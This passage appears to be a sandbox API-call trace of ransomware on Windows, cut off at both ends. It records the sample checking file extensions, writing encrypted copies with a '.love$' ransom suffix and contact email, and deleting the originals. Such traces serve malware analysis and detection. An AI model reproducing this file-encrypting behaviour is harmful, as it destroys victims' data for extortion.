(lpString1=".docx", lpString2="_.WMF") returned -1 [0123.917] lstrlenW (lpString=".pdf") returned 4 [0123.917] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0123.917] lstrlenW (lpString=".xls") returned 4 [0123.917] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0123.917] lstrlenW (lpString=".xlsx") returned 5 [0123.917] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0123.917] lstrlenW (lpString=".ppt") returned 4 [0123.917] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0123.917] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF") returned 68 [0123.917] lstrlenW (lpString=".zip") returned 4 [0123.917] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0123.917] lstrlenW (lpString=".rar") returned 4 [0123.917] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0123.917] lstrlenW (lpString=".bz2") returned 4 [0123.917] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0123.917] lstrlenW (lpString=".7z") returned 3 [0123.917] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0123.917] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF") returned 68 [0123.917] lstrlenW (lpString=".dbf") returned 4 [0123.917] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0123.917] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF") returned 68 [0123.917] lstrlenW (lpString=".1cd") returned 4 [0123.917] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0123.918] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF") returned 68 [0123.918] lstrlenW (lpString=".jpg") returned 4 [0123.918] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0123.918] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0123.918] lstrlenW (lpString="BL00252_.WMF") returned 12 [0123.918] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00252_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00252_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0123.918] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x321ff14 | out: lpFileSize=0x321ff14*=4708) returned 1 [0123.919] CloseHandle (hObject=0x370) returned 1 [0123.919] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00252_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00252_.wmf")) returned 0x220 [0123.919] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00252_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00252_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0123.919] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00252_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00252_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0123.919] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0123.919] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0123.919] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00252_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00252_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0123.920] GetLastError () returned 0x0 [0123.920] ReadFile (hFile=0x370, lpBuffer=0x3c21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0) Thread: id = 18 os_tid = 0x524 [0093.468] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10000) returned 0x3891258 [0093.469] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10000) returned 0x38a1260 [0093.469] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10) returned 0x50b0a8 [0093.469] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x6) returned 0x53d260 [0093.470] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10) returned 0x50b078 [0093.470] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x100000) returned 0x3d35020 [0093.473] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10) returned 0x50b0c0 [0093.473] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x50b0c0, Size=0x20) returned 0x4eebd8 [0093.473] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10) returned 0x50b018 [0093.473] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x50b018, Size=0x20) returned 0x4eeae8 [0093.473] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x772d0000 [0093.474] GetProcAddress (hModule=0x772d0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x772e6b30 [0093.474] Wow64DisableWow64FsRedirection (in: OldValue=0x335ff50 | out: OldValue=0x335ff50*=0x0) returned 1 [0093.474] lstrlenW (lpString="kernel32.dll") returned 12 [0093.474] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4eebd8 | out: hHeap=0x4b0000) returned 1 [0093.474] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0093.474] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4eeae8 | out: hHeap=0x4b0000) returned 1 [0093.474] Sleep (dwMilliseconds=0x64) [0094.092] lstrcmpiW (lpString1=".log", lpString2=".love$") returned -1 [0094.092] lstrlenW (lpString="PartnerSetupCompleteResult.log") returned 30 [0094.092] CreateFileW (lpFileName="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log" (normalized: "c:\\$getcurrent\\logs\\partnersetupcompleteresult.log"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8 [0094.527] GetFileSizeEx (in: hFile=0x2c8, lpFileSize=0x335ff14 | out: lpFileSize=0x335ff14*=40) returned 1 [0094.527] CloseHandle (hObject=0x2c8) returned 1 [0094.542] GetFileAttributesW (lpFileName="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log" (normalized: "c:\\$getcurrent\\logs\\partnersetupcompleteresult.log")) returned 0x20 [0094.557] GetFileAttributesW (lpFileName="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\$getcurrent\\logs\\partnersetupcompleteresult.log.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0094.557] CreateFileW (lpFileName="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log" (normalized: "c:\\$getcurrent\\logs\\partnersetupcompleteresult.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8 [0094.557] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0094.558] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0094.558] CreateFileW (lpFileName="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\$getcurrent\\logs\\partnersetupcompleteresult.log.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b8 [0094.558] GetLastError () returned 0x0 [0094.558] ReadFile (in: hFile=0x2c8, lpBuffer=0x3d35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d35020*, lpNumberOfBytesRead=0x335fecc*=0x28, lpOverlapped=0x0) returned 1 [0094.577] WriteFile (in: hFile=0x2b8, lpBuffer=0x3d35020*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d35020*, lpNumberOfBytesWritten=0x335fc94*=0x30, lpOverlapped=0x0) returned 1 [0094.579] ReadFile (in: hFile=0x2c8, lpBuffer=0x3d35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d35020*, lpNumberOfBytesRead=0x335fecc*=0x0, lpOverlapped=0x0) returned 1 [0094.579] WriteFile (in: hFile=0x2b8, lpBuffer=0x3d35020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d35020*, lpNumberOfBytesWritten=0x335fc94*=0x110, lpOverlapped=0x0) returned 1 [0094.579] SetEndOfFile (hFile=0x2b8) returned 1 [0094.579] CloseHandle (hObject=0x2b8) returned 1 [0094.580] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0094.580] SetEndOfFile (hFile=0x2c8) returned 1 [0094.581] CloseHandle (hObject=0x2c8) returned 1 [0094.582] SetFileAttributesW (lpFileName="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x20) returned 1 [0094.582] DeleteFileW (lpFileName="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log" (normalized: "c:\\$getcurrent\\logs\\partnersetupcompleteresult.log")) returned 1 [0094.582] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log") returned 50 [0094.582] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log") returned 50 [0094.582] lstrlenW (lpString=".doc") returned 4 [0094.583] lstrcmpiW (lpString1=".doc", lpString2=".log") returned -1 [0094.583] lstrlenW (lpString=".docx") returned 5 [0094.583] lstrcmpiW (lpString1=".docx", lpString2="t.log") returned -1 [0094.583] lstrlenW (lpString=".pdf") returned 4 [0094.583] lstrcmpiW (lpString1=".pdf", lpString2=".log") returned 1 [0094.583] lstrlenW (lpString=".xls") returned 4 [0094.583] lstrcmpiW (lpString1=".xls", lpString2=".log") returned 1 [0094.583] lstrlenW (lpString=".xlsx") returned 5 [0094.583] lstrcmpiW (lpString1=".xlsx", lpString2="t.log") returned -1 [0094.583] lstrlenW (lpString=".ppt") returned 4 [0094.583] lstrcmpiW (lpString1=".ppt", lpString2=".log") returned 1 [0094.583] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log") returned 50 [0094.583] lstrlenW (lpString=".zip") returned 4 [0094.583] lstrcmpiW (lpString1=".zip", lpString2=".log") returned 1 [0094.583] lstrlenW (lpString=".rar") returned 4 [0094.583] lstrcmpiW (lpString1=".rar", lpString2=".log") returned 1 [0094.583] lstrlenW (lpString=".bz2") returned 4 [0094.583] lstrcmpiW (lpString1=".bz2", lpString2=".log") returned -1 [0094.583] lstrlenW (lpString=".7z") returned 3 [0094.583] lstrcmpiW (lpString1=".7z", lpString2="log") returned -1 [0094.583] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log") returned 50 [0094.583] lstrlenW (lpString=".dbf") returned 4 [0094.583] lstrcmpiW (lpString1=".dbf", lpString2=".log") returned -1 [0094.583] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log") returned 50 [0094.583] lstrlenW (lpString=".1cd") returned 4 [0094.583] lstrcmpiW (lpString1=".1cd", lpString2=".log") returned -1 [0094.583] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log") returned 50 [0094.584] lstrlenW (lpString=".jpg") returned 4 [0094.584] lstrcmpiW (lpString1=".jpg", lpString2=".log") returned -1 [0094.584] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log") returned 50 [0094.584] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log") returned 50 [0094.584] lstrlenW (lpString=".doc") returned 4 [0094.584] lstrcmpiW (lpString1=".doc", lpString2=".log") returned -1 [0094.584] lstrlenW (lpString=".docx") returned 5 [0094.584] lstrcmpiW (lpString1=".docx", lpString2="t.log") returned -1 [0094.584] lstrlenW (lpString=".pdf") returned 4 [0094.584] lstrcmpiW (lpString1=".pdf", lpString2=".log") returned 1 [0094.584] lstrlenW (lpString=".xls") returned 4 [0094.584] lstrcmpiW (lpString1=".xls", lpString2=".log") returned 1 [0094.584] lstrlenW (lpString=".xlsx") returned 5 [0094.584] lstrcmpiW (lpString1=".xlsx", lpString2="t.log") returned -1 [0094.584] lstrlenW (lpString=".ppt") returned 4 [0094.584] lstrcmpiW (lpString1=".ppt", lpString2=".log") returned 1 [0094.584] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log") returned 50 [0094.584] lstrlenW (lpString=".zip") returned 4 [0094.584] lstrcmpiW (lpString1=".zip", lpString2=".log") returned 1 [0094.584] lstrlenW (lpString=".rar") returned 4 [0094.584] lstrcmpiW (lpString1=".rar", lpString2=".log") returned 1 [0094.584] lstrlenW (lpString=".bz2") returned 4 [0094.584] lstrcmpiW (lpString1=".bz2", lpString2=".log") returned -1 [0094.584] lstrlenW (lpString=".7z") returned 3 [0094.584] lstrcmpiW (lpString1=".7z", lpString2="log") returned -1 [0094.584] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log") returned 50 [0094.585] lstrlenW (lpString=".dbf") returned 4 [0094.585] lstrcmpiW (lpString1=".dbf", lpString2=".log") returned -1 [0094.585] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log") returned 50 [0094.585] lstrlenW (lpString=".1cd") returned 4 [0094.585] lstrcmpiW (lpString1=".1cd", lpString2=".log") returned -1 [0094.585] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log") returned 50 [0094.585] lstrlenW (lpString=".jpg") returned 4 [0094.585] lstrcmpiW (lpString1=".jpg", lpString2=".log") returned -1 [0094.585] Sleep (dwMilliseconds=0x64) [0096.380] lstrcmpiW (lpString1=".xml", lpString2=".love$") returned 1 [0096.380] lstrlenW (lpString="LocalizedData.xml") returned 17 [0096.380] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1028\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0096.512] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x335ff14 | out: lpFileSize=0x335ff14*=60816) returned 1 [0096.512] CloseHandle (hObject=0x33c) returned 1 [0096.512] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1028\\localizeddata.xml")) returned 0x80 [0096.513] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\588bce7c90097ed212\\1028\\localizeddata.xml.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0096.513] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1028\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0096.513] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0096.513] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0096.513] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\588bce7c90097ed212\\1028\\localizeddata.xml.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0096.513] GetLastError () returned 0x0 [0096.513] ReadFile (in: hFile=0x33c, lpBuffer=0x3d35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d35020*, lpNumberOfBytesRead=0x335fecc*=0xed90, lpOverlapped=0x0) returned 1 [0096.519] WriteFile (in: hFile=0x340, lpBuffer=0x3d35020*, nNumberOfBytesToWrite=0xeda0, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d35020*, lpNumberOfBytesWritten=0x335fc94*=0xeda0, lpOverlapped=0x0) returned 1 [0096.521] ReadFile (in: hFile=0x33c, lpBuffer=0x3d35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d35020*, lpNumberOfBytesRead=0x335fecc*=0x0, lpOverlapped=0x0) returned 1 [0096.521] WriteFile (in: hFile=0x340, lpBuffer=0x3d35020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d35020*, lpNumberOfBytesWritten=0x335fc94*=0xf6, lpOverlapped=0x0) returned 1 [0096.521] SetEndOfFile (hFile=0x340) returned 1 [0096.521] CloseHandle (hObject=0x340) returned 1 [0096.523] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0096.524] SetEndOfFile (hFile=0x33c) returned 1 [0096.525] CloseHandle (hObject=0x33c) returned 1 [0096.525] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x80) returned 1 [0096.525] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1028\\localizeddata.xml")) returned 1 [0096.526] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml") returned 44 [0096.526] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml") returned 44 [0096.526] lstrlenW (lpString=".doc") returned 4 [0096.526] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0096.526] lstrlenW (lpString=".docx") returned 5 [0096.526] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0096.526] lstrlenW (lpString=".pdf") returned 4 [0096.526] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0096.526] lstrlenW (lpString=".xls") returned 4 [0096.526] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0096.526] lstrlenW (lpString=".xlsx") returned 5 [0096.526] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0096.526] lstrlenW (lpString=".ppt") returned 4 [0096.526] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0096.526] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml") returned 44 [0096.526] lstrlenW (lpString=".zip") returned 4 [0096.526] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0096.526] lstrlenW (lpString=".rar") returned 4 [0096.526] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0096.526] lstrlenW (lpString=".bz2") returned 4 [0096.526] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0096.526] lstrlenW (lpString=".7z") returned 3 [0096.526] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0096.526] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml") returned 44 [0096.526] lstrlenW (lpString=".dbf") returned 4 [0096.526] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0096.526] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml") returned 44 [0096.526] lstrlenW (lpString=".1cd") returned 4 [0096.526] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0096.526] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml") returned 44 [0096.526] lstrlenW (lpString=".jpg") returned 4 [0096.526] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0096.527] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml") returned 44 [0096.527] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml") returned 44 [0096.527] lstrlenW (lpString=".doc") returned 4 [0096.527] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0096.527] lstrlenW (lpString=".docx") returned 5 [0096.527] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0096.527] lstrlenW (lpString=".pdf") returned 4 [0096.527] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0096.527] lstrlenW (lpString=".xls") returned 4 [0096.527] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0096.527] lstrlenW (lpString=".xlsx") returned 5 [0096.527] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0096.527] lstrlenW (lpString=".ppt") returned 4 [0096.527] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0096.527] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml") returned 44 [0096.527] lstrlenW (lpString=".zip") returned 4 [0096.527] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0096.527] lstrlenW (lpString=".rar") returned 4 [0096.527] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0096.527] lstrlenW (lpString=".bz2") returned 4 [0096.527] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0096.527] lstrlenW (lpString=".7z") returned 3 [0096.527] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0096.527] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml") returned 44 [0096.527] lstrlenW (lpString=".dbf") returned 4 [0096.527] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0096.527] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml") returned 44 [0096.527] lstrlenW (lpString=".1cd") returned 4 [0096.527] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0096.527] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml") returned 44 [0096.528] lstrlenW (lpString=".jpg") returned 4 [0096.528] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0096.528] Sleep (dwMilliseconds=0x64) [0097.021] lstrcmpiW (lpString1=".xml", lpString2=".love$") returned 1 [0097.021] lstrlenW (lpString="LocalizedData.xml") returned 17 [0097.021] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1030\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0097.021] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x335ff14 | out: lpFileSize=0x335ff14*=77748) returned 1 [0097.021] CloseHandle (hObject=0x318) returned 1 [0097.022] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1030\\localizeddata.xml")) returned 0x80 [0097.022] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\588bce7c90097ed212\\1030\\localizeddata.xml.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0097.022] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1030\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0097.022] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0097.022] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0097.022] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\588bce7c90097ed212\\1030\\localizeddata.xml.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0097.022] GetLastError () returned 0x0 [0097.022] ReadFile (in: hFile=0x318, lpBuffer=0x3d35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d35020*, lpNumberOfBytesRead=0x335fecc*=0x12fb4, lpOverlapped=0x0) returned 1 [0097.041] WriteFile (in: hFile=0x338, lpBuffer=0x3d35020*, nNumberOfBytesToWrite=0x12fc0, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d35020*, lpNumberOfBytesWritten=0x335fc94*=0x12fc0, lpOverlapped=0x0) returned 1 [0097.043] ReadFile (in: hFile=0x318, lpBuffer=0x3d35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d35020*, lpNumberOfBytesRead=0x335fecc*=0x0, lpOverlapped=0x0) returned 1 [0097.044] WriteFile (in: hFile=0x338, lpBuffer=0x3d35020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d35020*, lpNumberOfBytesWritten=0x335fc94*=0xf6, lpOverlapped=0x0) returned 1 [0097.044] SetEndOfFile (hFile=0x338) returned 1 [0097.044] CloseHandle (hObject=0x338) returned 1 [0097.047] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0097.047] SetEndOfFile (hFile=0x318) returned 1 [0097.050] CloseHandle (hObject=0x318) returned 1 [0097.050] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x80) returned 1 [0097.050] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1030\\localizeddata.xml")) returned 1 [0097.051] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml") returned 44 [0097.051] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml") returned 44 [0097.051] lstrlenW (lpString=".doc") returned 4 [0097.051] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0097.051] lstrlenW (lpString=".docx") returned 5 [0097.051] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0097.051] lstrlenW (lpString=".pdf") returned 4 [0097.051] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0097.051] lstrlenW (lpString=".xls") returned 4 [0097.051] lstrcmpiW (lpString1=".xls", 